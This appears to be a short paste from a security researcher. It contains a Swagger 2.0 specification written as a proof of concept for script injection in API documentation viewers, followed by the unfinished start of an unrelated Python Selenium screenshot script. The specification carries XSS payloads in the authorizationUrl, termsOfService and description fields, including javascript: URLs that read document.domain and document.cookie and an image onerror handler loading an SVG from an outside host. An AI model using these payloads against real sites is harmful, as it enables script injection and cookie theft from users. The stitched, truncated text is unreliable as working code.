sh4nx0r

swagger: '2.0'
securityDefinitions:
  a:
    type: oauth2
    authorizationUrl: javascript:alert(document.domain)//
info:
  version: "0.0.1"
  title: Resource Injection POC
  description: <h1>Iframe Injection</h1><img src="https://encircled-flush.000webhostapp.com/xee3.svg" onerror=alert(1)>
  termsOfService: "javascript:alert(document.cookie)"

sh4nx0r

# You need to first check your chrome version. Open chrome browser and run chrome://version to find out the version and after that you can visit the https://googlechromelabs.github.io/chrome-for-testing/#stable to find the appropriate chromium drivers that is matching your chrome version. Download and extract the driver and give +x permission to the executable inside the extracted zip. 

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from PIL import Image
import io

def take_screenshot(url):
    # Validate and format URL